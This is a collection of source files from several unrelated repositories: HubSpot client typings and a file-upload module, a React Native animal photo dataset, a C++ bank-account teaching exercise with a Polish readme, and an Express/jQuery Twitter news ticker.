01f269e0dfb3d64e1556387364e83dff36de882c
[ "TypeScript" ]
4
TypeScript
nyowusu/ticket-preview
54ada353dd07e7ba86837ffbe6d2b77c68a6196f
b0112764949e04f764a05a058de84624c19cc522
refs/heads/master
<repo_name>sundong-exideatech/SortAnimals<file_sep>/src/constants/Colors.js const tintColor = '#2f95dc'; export default { tintColor, buttonColorCyan: '#97e0ff', textColorBlueOpacity: '#fff', modalBackground: '#171f3e', tabBk: '#0C0819', }; <file_sep>/src/data/index.js // @flow import {Image} from "react-native"; import type {ResolvedAssetSource} from "AssetSourceResolver"; import resolveAssetSource from "react-native/Libraries/Image/resolveAssetSource"; import {getUniqueFromArrays, getRatioOfImage} from "./utils"; export type PhotoSource = $ReadOnly<{| resource: any, source: string, tags: Array<string>, ratio: number, action?: string |}>; export const photoSources: Array<PhotoSource> = [ { resource: require("../img/fat_cat_1.jpg"), source: "https://ca-times.brightspotcdn.com/dims4/default/6c818b8/2147483647/strip/true/crop/1611x906+0+0/resize/840x472!/quality/90/?url=https%3A%2F%2Fca-times.brightspotcdn.com%2Ffd%2Fef%2F05c1aab3e76c3d902aa0548c0046%2Fla-la-hm-pet-issue-18-jpg-20150615", tags: ["fat cat", "cat"] }, { resource: require("../img/fat_cat_2.jpg"), source: "https://peopledotcom.files.wordpress.com/2018/08/34982856_913748398827212_5249963337373974528_n.jpg", tags: ["fat cat", "cat"] }, { resource: require("../img/fat_cat_3.jpg"), source: "https://blueskyvet.com/wp-content/uploads/2014/12/Fat_Cat_-_Shape_Shifting_copy.jpg", tags: ["fat cat", "cat"] }, { resource: require("../img/fat_cat_4.jpg"), source: "https://www.peta.org/wp-content/uploads/2014/02/FINALbasilINSET-668x336.jpg?20190103122845", tags: ["fat cat", "cat"] }, { resource: require("../img/angry_cat_1.jpg"), source: "https://www.swjournal.com/wp-content/uploads/2018/11/shutterstock_1075355216.jpg", tags: ["angry cat", "cat"] }, { resource: require("../img/angry_cat_2.jpg"), source: "https://www.dailydot.com/wp-content/uploads/b8e/19/e4721c4a5b5da1ce89f9fb16b57da789.jpg", tags: ["angry cat", "cat"] }, { resource: require("../img/angry_cat_3.jpg"), source: "http://img1.wikia.nocookie.net/__cb20130404145553/darksouls/images/5/5b/Angry_Cat_Face_Wallpaper.jpg", tags: ["angry cat", "cat"] }, { resource: require("../img/sad_dog_1.jpg"), source: "https://www.petmd.com/sites/default/files/do_dogs_feel_sadness.jpg", tags: ["sad dog", "dog"] }, { resource: require("../img/sad_dog_2.jpg"), source: "https://img.huffingtonpost.com/asset/5baeaef02000009900ff5c5c.jpeg?ops=scalefit_720_noupscale", tags: ["sad dog", "dog"] }, { resource: require("../img/sad_dog_3.jpg"), source: "https://i.imgflip.com/1cr2z3.jpg", tags: ["sad dog", "dog"] }, { resource: require("../img/sad_dog_4.jpg"), source: "https://peopledotcom.files.wordpress.com/2017/04/guilty-dog.jpg", tags: ["sad dog", "dog"] }, { resource: require("../img/amazed_dog_1.jpg"), source: "https://image.shutterstock.com/image-photo/funny-black-white-mixed-breed-260nw-1036847707.jpg", tags: ["amazed dog", "dog"] }, { resource: require("../img/amazed_dog_2.jpg"), source: "https://data.whicdn.com/images/26126038/large.jpg", tags: ["amazed dog", "dog"] }, { resource: require("../img/amazed_dog_3.jpg"), source: "https://2.bp.blogspot.com/-TwalWc7H9uY/Vo419BHVZ6I/AAAAAAAAN8w/yCa4yFo5x_E/s1600/amazeddog.jpg", tags: ["amazed dog", "dog"] }, { resource: require("../img/playing_dog_1.jpg"), source: "https://www.purina.co.uk/sites/g/files/mcldtz2481/files/2017-11/Playing-With-Dog_3ee260f6-29cf-4883-a1c6-4efe1d212835_0.jpg", tags: ["playing dog", "dog"] }, { resource: require("../img/playing_dog_2.jpg"), source: "https://www.fourpaws.com/-/media/Images/FourPaws-NA/US/articles/dog-playtime-927x388.jpg", tags: ["playing dog", "dog"] }, { resource: require("../img/playing_dog_3.jpg"), source: "https://www.dogingtonpost.com/wp-content/uploads/2013/10/frisbee.jpg", tags: ["playing dog", "dog"] }, { resource: require("../img/playing_dog_4.jpg"), source: "https://cdn.shopify.com/s/files/1/0028/1978/4763/articles/Everything-you-need-to-know-about-joints-header_1400x.progressive.jpg?v=1537285042", tags: ["playing dog", "dog"] }, { resource: require("../img/dressed_cat_1.jpg"), source: "http://petslady.com/sites/default/files/2018-11/51t%2B-VVMqoL.jpg", tags: ["dressed cat", "cat"] }, { resource: require("../img/dressed_cat_2.jpg"), source: "https://cache.desktopnexus.com/thumbseg/1343/1343252-bigthumbnail.jpg", tags: ["dressed cat", "cat"] }, { resource: require("../img/dressed_cat_3.jpg"), source: "https://cdn.lolwot.com/wp-content/uploads/2015/08/10-adorable-cats-in-costumes-that-will-brighten-up-your-day-2.jpg", tags: ["dressed cat", "cat"] }, { resource: require("../img/dog_toilet.png"), source: "", tags: [], action: "death_on_touch" } ].map(item => ({ ...item, ratio: getRatioOfImage(item.resource) })); const memoize = require("memoizee"); const getUniqueProperties: () => Array<string> = memoize( getUniqueFromArrays.bind(undefined, photoSources.map(({tags}) => tags)) ); const getPhotosOfProperties_ = ( ...propertyArray: Array<string> ): Array<PhotoSource> => photoSources.filter(({tags}) => tags.some(r => propertyArray.includes(r))); export const getPhotosOfProperties: ( ...propertyArray: Array<string> ) => Array<PhotoSource> = memoize(getPhotosOfProperties_, { length: false }); const getAvailableProperties_ = (property: string): Array<string> => { const relatedProperties = getUniqueFromArrays( getPhotosOfProperties(property).map(({tags}) => tags) ); return getUniqueProperties().filter(p => !relatedProperties.includes(p)); }; export const getActionItems = (): Array<PhotoSource> => photoSources.filter(a => typeof a.action === "string"); export const getAvailableProperties = memoize(getAvailableProperties_);
c49745d3798dc63dfda69aa284a318f75ab84ce6
[ "JavaScript" ]
2
JavaScript
sundong-exideatech/SortAnimals
60acc519682f79ac1b6cb2ca7ce6d2a10866e76f
d76e961d89409de59ab23b40ee2619a4eb22c41e
refs/heads/master
<repo_name>mahmoudalwadia/node-hubspot<file_sep>/lib/typescript/integrations.ts import { RequestPromise } from 'request-promise' declare class integrations { getAccountDetails(): RequestPromise } export type Integrations = integrations <file_sep>/lib/typescript/emails.ts import { RequestPromise } from 'request-promise' declare class emails { sendTransactionalEmail(data: {}): RequestPromise } export type Emails = emails <file_sep>/lib/typescript/crm.ts import { Associations } from './crm_associations' declare class cRM { associations: Associations } export type CRM = cRM <file_sep>/lib/typescript/page.ts import { RequestPromise } from 'request-promise' declare class page { get(opts?: {}): RequestPromise } export type Page = page <file_sep>/lib/file.js const _ = require('lodash') const qs = require('querystring') const fetch = require('node-fetch') const FormData = require('form-data') const getAccessToken = (client) => { const oauth1Token = _.get(client, 'qs.access_token') return client.accessToken || oauth1Token } const getFormData = ({ name, content, folderId, folderPath }) => { const formData = new FormData() if (!_.isNil(folderId)) formData.append('folder_ids', folderId) if (!_.isNil(folderPath)) formData.append('folder_paths', folderPath) formData.append('file_names', name) formData.append('files', Buffer.from(content), name) return formData } const getUrlForFileUpload = (client, override, hidden) => { const hapikey = _.get(client, 'qs.hapikey') const params = {} if (override) params.override = override if (hidden) params.override = hidden if (hapikey) params.hapikey = hapikey const queryPart = _.isEmpty(params) ? '' : `?${qs.stringify(params)}` return `${client.baseUrl}/filemanager/api/v2/files${queryPart}` } class File { constructor(client) { this.client = client } get() { return this.client.apiRequest({ method: 'GET', path: '/filemanager/api/v2/files', }) } getOne(id) { return this.client.apiRequest({ method: 'GET', path: `/filemanager/api/v2/files/${id}`, }) } async uploadByUrl(fileDetails, override, hidden) { const headers = { authorization: `Bearer ${getAccessToken(this.client)}`, } const fetchFileResult = await fetch(fileDetails.url, { method: 'GET', headers, }) const content = await fetchFileResult.arrayBuffer() const uploadDetails = _.assign({}, fileDetails, { content }) return this.upload(uploadDetails, override, hidden) } async upload(fileDetails, override, hidden) { const body = getFormData(fileDetails) const headers = body.getHeaders() headers.authorization = `Bearer ${getAccessToken(this.client)}` // can't use the request-promise based client because they don't handle formdata inside // of body correctly. See: https://github.com/request/request-promise/issues/271 const result = await fetch(getUrlForFileUpload(this.client, override, hidden), { method: 'POST', body, headers, }) return result.json() } } module.exports = File
0a50c150ad77c47e63b588632a29ab9929c0f6d6
[ "JavaScript", "TypeScript" ]
5
TypeScript
mahmoudalwadia/node-hubspot
4e0197936959011989a66e7289eb430c59abc640
2870e02a2fa47860ba3b92d5f9eac229c4dec191
refs/heads/master
<repo_name>xNest/wst-banki<file_sep>/wst-banki/Rachunek.cpp #include "Rachunek.h" Rachunek::Rachunek() { this->numer = ""; this->stan = 0.00; } Rachunek::Rachunek(NUMER_RACHUNKU numer) { this->numer = numer; this->stan = 0.00; } bool Rachunek::Wplata(double kwota) { this->stan += kwota; return true; } bool Rachunek::Wyplata(double kwota) { if (this->stan - kwota > 0) { this->stan -= kwota; return true; } return false; } NUMER_RACHUNKU Rachunek::Numer() { return this->numer; } double Rachunek::Stan() { return this->stan; } <file_sep>/wst-banki/Konto.h #pragma once #include "Definicje.h" #include "Rachunek.h" using namespace std; class Konto { private: Rachunek rachunek; // rachunek (wywoluje standardowy konstruktor) string klient; // identyfikator klienta string haslo; // haslo klienta int id = LOGIN_NIEMOZLIWY; // identyfikator dostepu do konta public: Konto(string klient, string haslo, NUMER_RACHUNKU numer); // Konstruktor int Login(string klient, string haslo, int id); // Bezpieczny dostep do konta bool Logout(int id); // Koniec dostepu do konta bool Wplata(int id, double kwota); // Wplac na konto bool Wyplata(int id, double kwota); // Wyplac z konta double Stan(int id); // Zwroc stan konta bool Numer(NUMER_RACHUNKU numer); // Porownaj numer rachunku bool Klient(string klient); // Porownaj identyfikator klienta }; <file_sep>/wst-banki/Klient.h #pragma once #include "Definicje.h" #include "Siec.h" #include "Bank.h" class Klient { private: Siec* siec; // wskaznik na siec bankow Bank* bank; // wskaznik na bank klienta string klient; // identyfikator klienta string haslo; // haslo klienta NUMER_RACHUNKU numer; // numer rachunku klienta int id; // identyfikator transaksji public: Klient(string klient, string haslo); // Konstruktor bool Otworz(Siec* siec, NUMER_ROZLICZENIOWY_BANKU numer); // Otworz nowy rachunek bool Login(); // Rozpocznij transakcje bool Logout(); // Rozpocznij transakcje bool Wplac(double kwota); // Wplac kwote na wlasny rachunek bool Wyplac(double kwota); // Pobierz kwote z wlasnego rachunku bool Przelej(double kwota, NUMER_ROZLICZENIOWY_BANKU bank, NUMER_RACHUNKU rachunek); // Przelej kwote z wlasnego rachunku na obcy rachunek double Stan(); // Zwroc aktualny stan rachunku NUMER_RACHUNKU Numer(); }; <file_sep>/wst-banki/wst-banki.cpp // wst-banki.cpp : Ten plik zawiera funkcję „main”. W nim rozpoczyna się i kończy wykonywanie programu. // #include "Siec.h" #define MBANK "11402004" #define ING "10501272" int main() { Siec* siec = new Siec(); siec->Rejestruj(MBANK, "0000000000000000"); siec->Rejestruj(ING, "0000000000000000"); Bank* mbank = siec->Znajdz(MBANK); Bank* ing = siec->Znajdz(ING); NUMER_RACHUNKU klientA = mbank->Otworz("klientA", "hasloA"); NUMER_RACHUNKU klientB = ing->Otworz("klientB", "hasloB"); int klientASession = mbank->Login("klientA", "hasloA", klientA); int klientBSession = ing->Login("klientB", "hasloB",klientB); mbank->Wplac(klientA, klientASession, 100.00); mbank->Przelej(klientA, klientASession, 30, ing, klientB); ing->Wyplac(klientB, klientBSession, 10.00); std::cout << "Stan konta A: " << mbank->Stan(klientA,klientASession) << "\n"; std::cout << "Stan konta B: " << ing->Stan(klientB, klientBSession) << "\n"; } // Uruchomienie programu: Ctrl + F5 lub menu Debugowanie > Uruchom bez debugowania // Debugowanie programu: F5 lub menu Debugowanie > Rozpocznij debugowanie // Porady dotyczące rozpoczynania pracy: // 1. Użyj okna Eksploratora rozwiązań, aby dodać pliki i zarządzać nimi // 2. Użyj okna programu Team Explorer, aby nawiązać połączenie z kontrolą źródła // 3. Użyj okna Dane wyjściowe, aby sprawdzić dane wyjściowe kompilacji i inne komunikaty // 4. Użyj okna Lista błędów, aby zobaczyć błędy // 5. Wybierz pozycję Projekt > Dodaj nowy element, aby utworzyć nowe pliki kodu, lub wybierz pozycję Projekt > Dodaj istniejący element, aby dodać istniejące pliku kodu do projektu // 6. Aby w przyszłości ponownie otworzyć ten projekt, przejdź do pozycji Plik > Otwórz > Projekt i wybierz plik sln <file_sep>/wst-banki/Definicje.h #pragma once #include <string> #include <iostream> typedef std::string NUMER_ROZLICZENIOWY_BANKU; // numer rozliczeniowy banku (8 znakow) typedef std::string NUMER_RACHUNKU; // numer rachunku (16 znakow) const int WPLATA_MOZLIWA = 0; const int LOGIN_NIEMOZLIWY = -1; <file_sep>/wst-banki/Bank.h #pragma once #include <vector> #include "Definicje.h" #include "Konto.h" class Bank { private: NUMER_ROZLICZENIOWY_BANKU numer; // numer banku NUMER_RACHUNKU numer_poczatkowy_rachunkow; // numer poczatkowy rachunkow w tym banku int kolejny_numer_rachunku; // kolejny numer rachunku int kolejny_numer_transakcji; // kolejny numer transakcji (id) vector<Konto*> konta; // kolekcja kont (wektor wskaznikow na konto) bool Wplac(NUMER_RACHUNKU numer, double kwota); // Wplac kwote na obcy rachunek Konto* Znajdz(NUMER_RACHUNKU numer); // Znajdz konto z numerem rachunku public: Bank(NUMER_ROZLICZENIOWY_BANKU numer_rozliczeniowy_banku, NUMER_RACHUNKU numer_pierwszego_rachunku); // Konstruktor NUMER_RACHUNKU Otworz(string klient, string haslo); // Otworz nowy rachunek int Login(string klient, string haslo, NUMER_RACHUNKU numer); // Login klienta bool Logout(NUMER_RACHUNKU numer, int id); bool Wplac(NUMER_RACHUNKU numer, int id, double kwota); // Wplac kwote na rachunek klienta bool Wyplac(NUMER_RACHUNKU numer, int id, double kwota); // Pobierz kwote z rachunku klienta bool Przelej(NUMER_RACHUNKU numer, int id, double kwota, Bank* bank, NUMER_RACHUNKU obcy_rachunek); // Przelej kwote z rachunku klienta na obcy rachunek double Stan(NUMER_RACHUNKU numer, int id); // Zwroc stan rachunku NUMER_ROZLICZENIOWY_BANKU Numer(); // Zwroc numer rozliczeniowy banku }; <file_sep>/readme.md **Banki - wersja podstawowa** 1. Bardzo krótko o programowaniu obiektowym Programowanie obiektowe polega na tworzeniu programów, które składają się z obiektów. Obiekty charakteryzują się abstrakcją i hermetyzacją. Abstrakcja polega na modelowaniu najistotniejszych cech jakiegoś rzeczywistego pojęcia. Na przykład programowanie obiektowego może modelować arytmetykę liczb zespolonych albo usługi bankowe. Hermetyzacja polega na ukryciu danych i funkcji prywatnych oraz udostepnieniu danych i funkcji publicznych. Abstrakcja i hermetyzacja są rozwinięciem koncepcji abstrakcyjnych typów danych (typów tworzonych przez programistę) i modularyzacji programów. W programowaniu obiektowym dąży się także do wielokrotnego wykorzystania raz napisanego kodu. Jedna z dróg prowadzących do tego celu jest użycie programów generycznych, tzn. adaptowalnych do różnych typów danych. Podstawową konstrukcją programowania obiektowego w C++ jest klasa. Jest to rozszerzenie znanej z języka C konstrukcji struct. Klasa zawiera dane i metody prywatne oraz dane i metody publiczne (hermetyzacja). Klasa może zawierać lub nawet wywodzić się z prostszych klas (dziedziczenie). Klasa rozróżnia deklaracje (nagłówki \*.h) i definicje (implementacje \*.cpp). _Klasa_ dla _obiektów_ jest tym, czym jest (abstrakcyjny) _typ danych_ dla _zmiennych_ w tradycyjnym programowaniu. C++ oferuje również kolekcje generyczne, takie jak wektor, które mogą przechowywać dane różnych typów. Program Bankirealizuje dwa główne postulaty programowania obiektowego: abstrakcję i hermetyzację. Program składa się z (aktywnych) obiektów typu Klient, które korzystają z usług (pasywnych) obiektów typu Bank. Klasa Bank modeluje podstawowe usługi bankowe. Do implementacji sieci banków i listy kont bankowych wykorzystane są klasy generyczne vector i map. 1. Program Banki Program Banki składa się z trzech części: usług bankowych zrealizowanych przez hierarchię klas Rachunek \&lt; Konto \&lt; Bank \&lt; Siec, z programu głównego, który korzysta z tych usług oraz z klasy pośredniczej Siec, która ułatwia programowi głównemu korzystanie z usług i ukrywa przed nim pewne szczegóły dostępu do kont. 1. Definicje W pliku nagłówkowymDefinicje.h zdefiniowano nazwy dwóch istotnych dla projektu zmiennych typustring: numeru rozliczeniowego banku (w przypadku polskich banków 8 znaków) i numeru rachunku (16 znaków). Definicje te nie są konieczne, mogą jednak ułatwić przyszłe rozszerzenia programu takie jak zastąpienie zwykłego numeru rachunku międzynarodowym numerem rachunku bankowego. Oprócz tego zdefiniowane są tu dwie stałe numeryczne. Użycie nazwy zamiast wartości liczbowej powinno poprawić czytelność programu. Inkluzja Definicje.h uwalnia pozostałe klasy projektu od inkluzji \<string> i \<iostream>. ```cpp #include <string> #include <iostream> typedef string NUMER_ROZLICZENIOWY_BANKU; // numer rozliczeniowy banku (8 znakow) typedef string NUMER_RACHUNKU; // numer rachunku (16 znakow) const int WPLATA_MOZLIWA = 0; const int LOGIN_NIEMOZLIWY = -1; ``` 1. Klasa Rachunek Klasa Rachunek jest prostym kontenerem, którego prywatne dane to numer rachunku i aktualny stan rachunku. Każdy rachunek ma swój numer (parametr konstruktora). Publiczne metody umożliwiają wpłatę i wypłatę. Wpłata jest zawsze możliwa. Wypłata, która prowadzi do ujemnego stanu konta, jest odrzucana. Metody publiczne Numer()i Stan() informują odpowiednio o numerze i o aktualnym stanie rachunku. ```cpp #include "Definicje.h" class Rachunek { private: NUMER_RACHUNKU numer; // numer rachunku double stan; // aktualny stan rachunku public: Rachunek(); // Standardowy konstruktor bez parametrow Rachunek(NUMER_RACHUNKU numer); // Konstruktor bool Wplata(double kwota); // Wplac kwote na rachunek bool Wyplata(double kwota); // Pobierz kwote z rachunku NUMER_RACHUNKU Numer(); // Pokaz numer rachunku double Stan(); // Pokaz stan rachunku }; ``` 1. Klasa Konto Konto bankowe to rachunek klienta (jeden klient ma jeden rachunek). Klasa Konto zawiera klasę Rachunek, identyfikator i hasło klienta oraz identyfikator dostępu do rachunku. Parametrami konstruktora są identyfikator i hasło klienta oraz numer rachunku. Bezpieczny dostęp do rachunku gwarantuje metoda Login(), która sprawdza hasło klienta i zapamiętuje identyfikator dostępu. Klasa Kontopowtarza metody klasy wewnętrznej Rachunek „zapakowane&quot; w kod sprawdzający identyfikator dostępu. Metody Numer(numer) i Klient(klient) są funkcjami pomocnymi w znajdywaniu kont według różnych kryteriów (patrz klasa Bank). ```cpp #include "Definicje.h" #include "Rachunek.h" using namespace std; class Konto { private: Rachunek rachunek; // rachunek (wywoluje standardowy konstruktor) string klient; // identyfikator klienta string haslo; // haslo klienta int id = LOGIN_NIEMOZLIWY; // identyfikator dostepu do konta public: Konto(string klient, string haslo, NUMER_RACHUNKU numer); // Konstruktor int Login(string klient, string haslo, int id); // Bezpieczny dostep do konta bool Logout(int id); // Koniec dostepu do konta bool Wplata(int id, double kwota); // Wplac na konto bool Wyplata(int id, double kwota); // Wyplac z konta double Stan(int id); // Zwroc stan konta bool Numer(NUMER_RACHUNKU numer); // Porownaj numer rachunku bool Klient(string klient); // Porownaj identyfikator klienta }; ``` 1. Klasa Bank Klasa Bank jest centralną klasą projektu. Bank to kolekcja kont bankowych (dokładnie: wektor wskaźników na obiekt typu Konto). Wektor jest kolekcją bez klucza, dlatego znalezienie konta o danym numerze wymaga liniowego przeszukania wektora (iteracji po indeksie w prywatnej metodzie Znajdz()). Parametrami konstruktora są numer rozliczeniowy banku i numer początkowy rachunków w tym banku. Metoda Otworz() otwiera nowe konto dla klienta banku: generuje numer nowego konta, tworzy obiekt klasy Konto i zapisuje go do wektora kont. Parametrami tej metody są identyfikator i hasło klienta. Metoda Login() wymaga, żeby konto o podanym identyfikatorze klienta i podanym haśle już istniało i - jeśli tak jest - generuje identyfikator bezpiecznego dostępu. Klasa Bankpowtarza metody publiczne klasy wewnętrznej Konto „zapakowane&quot; w kod znajdujący konto w wektorze kont. Metoda Przelej()wymaga bardziej szczegółowego objaśnienia. Implementuje ona przelew kwoty z własnego konta na obce konto. Obce konto identyfikowane jest przez wskaźnik na obcy bank i numer rachunku w tym banku. Przelew jest realizowany w dwóch krokach. Najpierw kwota jest wypłacana z własnego konta (dostęp za pomocą publicznej metody Wyplac()). Następnie ta sama kwota jest wpłacana na obce konto za pomocą prywatnej metody Wplac(). Bank źródłowy staje się tu klientem banku docelowego, nie posiadając ani identyfikatora klienta ani jego hasła. Żeby rozwiązać problem dostępu, dopuszcza się wpłaty bez identyfikatora dostępu. Metoda Wplac() jest wewnątrz klasy Bank metodą prywatną, między obiektami typu Bank jest jednak widoczna (bank źródłowy woła metodę Wplac() banku docelowego). ```cpp #include <vector> #include "Definicje.h" #include "Konto.h" class Bank { private: NUMER_ROZLICZENIOWY_BANKU numer; // numer banku NUMER_RACHUNKU numer_poczatkowy_rachunkow; // numer poczatkowy rachunkow w tym banku int kolejny_numer_rachunku; // kolejny numer rachunku int kolejny_numer_transakcji; // kolejny numer transakcji (id) vector<Konto*> konta; // kolekcja kont (wektor wskaznikow na konto) bool Wplac(NUMER_RACHUNKU numer, double kwota); // Wplac kwote na obcy rachunek Konto* Znajdz(NUMER_RACHUNKU numer); // Znajdz konto z numerem rachunku public: Bank(NUMER_ROZLICZENIOWY_BANKU numer_rozliczeniowy_banku, NUMER_RACHUNKU numer_pierwszego_rachunku); // Konstruktor NUMER_RACHUNKU Otworz(string klient, string haslo); // Otworz nowy rachunek int Login(string klient, string haslo, NUMER_RACHUNKU numer); // Login klienta bool Logout(NUMER_RACHUNKU numer, int id); bool Wplac(NUMER_RACHUNKU numer, int id, double kwota); // Wplac kwote na rachunek klienta bool Wyplac(NUMER_RACHUNKU numer, int id, double kwota); // Pobierz kwote z rachunku klienta bool Przelej(NUMER_RACHUNKU numer, int id, double kwota, Bank* bank, NUMER_RACHUNKU obcy_rachunek); // Przelej kwote z rachunku klienta na obcy rachunek double Stan(NUMER_RACHUNKU numer, int id); // Zwroc stan rachunku NUMER_ROZLICZENIOWY_BANKU Numer(); // Zwroc numer rozliczeniowy banku }; ``` 1. Klasa Siec Sieć to kolekcja banków (dokładnie: wektor wskaźników na obiekt Bank). Metoda Rejestruj() tworzy nowy obiekt Bank i dodaje go do kolekcji banków. Metoda Znajdz() szuka w wektorze banku o podanym numerze rozliczeniowym. ```cpp #include <vector> #include "Bank.h" #include "Definicje.h" class Siec { private: vector<Bank*> siec; // kolekcja bankow (wektor wskaznikow na Bank) public: Siec(); // Konstruktor void Rejestruj(NUMER_ROZLICZENIOWY_BANKU numer_rozliczeniowy_banku, NUMER_RACHUNKU numer_poczatkowy_rachunkow); // Zarejestruj nowy bank w sieci bankow Bank* Znajdz(NUMER_ROZLICZENIOWY_BANKU numer_rozliczeniowy_banku); // Znajdz bank }; ``` 1. Klasa Klient Klasa Klient korzysta z usług klas Siec oraz Bank (deleguje wykonanie usług bankowych do odpowiednich klas). Celem klasy jest udostepnienie możliwie prostych w użyciu metod dla programu głównego. Klient jest definiowany przez identyfikator i hasło (parametry konstruktora). Klasa Klient ukrywa w części prywatnej identyfikator dostępu do konta. ```cpp #include "Definicje.h" #include "Siec.h" #include "Bank.h" class Klient { private: Siec* siec; // wskaznik na siec bankow Bank* bank; // wskaznik na bank klienta string klient; // identyfikator klienta string haslo; // haslo klienta NUMER_RACHUNKU numer; // numer rachunku klienta int id; // identyfikator transaksji public: Klient(string klient, string haslo); // Konstruktor bool Otworz(Siec* siec, NUMER_ROZLICZENIOWY_BANKU numer); // Otworz nowy rachunek bool Login(); // Rozpocznij transakcje bool Logout(); // Rozpocznij transakcje bool Wplac(double kwota); // Wplac kwote na wlasny rachunek bool Wyplac(double kwota); // Pobierz kwote z wlasnego rachunku bool Przelej(double kwota, NUMER_ROZLICZENIOWY_BANKU bank, NUMER_RACHUNKU rachunek); // Przelej kwote z wlasnego rachunku na obcy rachunek double Stan(); // Zwroc aktualny stan rachunku NUMER_RACHUNKU Numer(); }; ``` 1. Program główny main Program główny składa się z obiektów typu Klient, które korzystają z usług obiektów typu Bank. W pierwszej części programu obiekt klasy Siecpośredniczy w tworzeniu obiektów typu Bank (metoda Rejestruj()). W drugiej części tworzone są obiekty typu Klient, które następnie korzystają z usług bankowych. W programie głównym zrealizowano przykładowy prosty scenariusz: - dwa banki: mBank i ING - dwóch klientów: A i B - A wpłaca kwotę na własne konto - A przekazuje kwotę na konto B - B wypłaca kwotę ze swojego konta - A i B informują o końcowym stanie swoich kont. **Diagram UML** ![Diagram UML](/UML/wst-banki.png)<file_sep>/wst-banki/Rachunek.h #pragma once #include "Definicje.h" class Rachunek { private: NUMER_RACHUNKU numer; // numer rachunku double stan; // aktualny stan rachunku public: Rachunek(); // Standardowy konstruktor bez parametrow Rachunek(NUMER_RACHUNKU numer); // Konstruktor bool Wplata(double kwota); // Wplac kwote na rachunek bool Wyplata(double kwota); // Pobierz kwote z rachunku NUMER_RACHUNKU Numer(); // Pokaz numer rachunku double Stan(); // Pokaz stan rachunku };
f1d6c4bdcde57eaf1abf97181a9dccb9a6465cf2
[ "Markdown", "C++" ]
8
C++
xNest/wst-banki
74172af8e0e6caa713d0cabe8c474fba8d73cba5
10476f1bc8a1aca89397f9b796bc02b80a772320
refs/heads/main
<repo_name>RabuMia/09_Arrays_03<file_sep>/challenge_arr_01.js /********* CODE CHALLENGE HTML **********/ /* Aufgabe: Erstellen Sie eine JS-Struktur, die Ihnen den folgenden String einer HTML-Seite ausgibt: <html><head></head><body><p></p></body></html> Verwenden Sie dafür die untenstehenden Arrays */ const controls = {open_o:"<", open_cl:"</", close:">"}; const tags = ["html","head","head","body","h1","h1","p","p","p","p","ul","li","li","li","li","ul","body","html"]; // Ziel --> "<html><head></head><body><p></p></body></html>"; // Modul: HTML-String erzeugen | Test ausgabe(getHTML()); function getHTML(){ } // Modul: Ausgabe | Test //ausgabe("hi"); function ausgabe(outputStr) { console.log(outputStr); }<file_sep>/challenge_arr_02.js /* Vorüberlegungen */ // push() / pop()
7fe311263f5b26efa1fd47e717ab4838814422c4
[ "JavaScript" ]
2
JavaScript
RabuMia/09_Arrays_03
d568d220e50ea870e225031348b3ace774ec80b2
95b033d7ab923ddb2b151bb991a60f13a559df54
refs/heads/master
<repo_name>ozonep/ticker_promise<file_sep>/index.js const express = require("express"); const app = express(); const https = require("https"); const ivan = require("./secret.js"); app.use(express.static(__dirname + '/public')); function myToken() { return new Promise((resolve, reject) => { let token; const creds = `${ivan.key}:${ivan.secret}`; const encCreds = new Buffer(creds).toString("base64"); const postOptions = { method: "POST", host: 'api.twitter.com', path: '/oauth2/token', headers: { 'Authorization': `Basic ${encCreds}`, 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', } }; const req = https.request(postOptions, (res) => { console.log(res.statusCode); let body = ''; res.on('data', (chunks) => { body += chunks; }); res.on('end', () => { body = JSON.parse(body); token = body.access_token; if (token) { resolve(token); } else { reject("Holy Moly!"); } }); }); req.write('grant_type=client_credentials'); req.end(); }); } function myTweets(token, source) { return new Promise((resolve, reject) => { if (!token) { reject() } else { let request = { method: "GET", host: 'api.twitter.com', path: `/1.1/statuses/user_timeline.json?count=5&screen_name=${source}`, headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', } }; https.request(request, response => { let resBody = ''; response.on('data', chunk => resBody += chunk); response.on('end', function () { let headings = []; let string = JSON.parse(resBody); for (let i = 0; i < string.length; i++) { if (string[i].text && string[i].entities.urls[0] && string[i].entities.urls.length < 2) { var href = string[i].entities.urls[0].url; var title = string[i].text.replace(href, ''); var author = string[i].user.name; headings.push({'title': title, 'href': href, 'author': author}); } } resolve(headings) }); }).end(); } }) } app.get("/headings.json", (req, res) => { myToken().then(function(token) { return Promise.all([ myTweets(token, 'nytimes'), myTweets(token, 'cnn'), myTweets(token, 'cnnbrk') ]).then((result) => { let nyt = result[0]; let cnn = result[1]; let cnnb = result[2]; let finalArr = nyt.concat(cnn, cnnb) return res.json(finalArr) }); }); }); app.listen(8080); <file_sep>/public/script.js "use strict"; var ul = document.getElementById("ul"); var jUl = $("#ul"); var pos = ul.offsetLeft; var li = document.getElementsByClassName("news"); var request; $.ajax({ url: "headings.json", method: "GET", success: function(result) { for (var i = 0; i < result.length; i++) { console.log("Testing", result.length); jUl.append("<li class='news'><a href='" + result[i].href + "'>" + result[i].title + "</a></li>"); } request = requestAnimationFrame(move); addEventListenerByTag(); } }); function move(){ pos--; if(pos === -li[0].offsetWidth){ pos = pos + li[0].offsetWidth; ul.appendChild(li[0]); } ul.style.left= pos + "px"; request = requestAnimationFrame(move); } function addEventListenerByTag() { var links = document.getElementsByTagName("a"); for (var i = 0; i < links.length; i++) { links[i].addEventListener("mouseenter", function() { cancelAnimationFrame(request); }, false); links[i].addEventListener("mouseleave", function() { request = requestAnimationFrame(move); }, false); } } <file_sep>/README.md ## Promise ticker News ticker with JS promises Fetches news from Twitter & makes them appear on the page, moving from right to left.
e95b949e755388f51676c5ee4a189ebc2552acde
[ "JavaScript", "Markdown" ]
3
JavaScript
ozonep/ticker_promise
a1ac25c7a08b50477c478efb63a5d18b7337a51d
d8e07f35e551df7e6f694d67947e06d518d9bba3
refs/heads/master
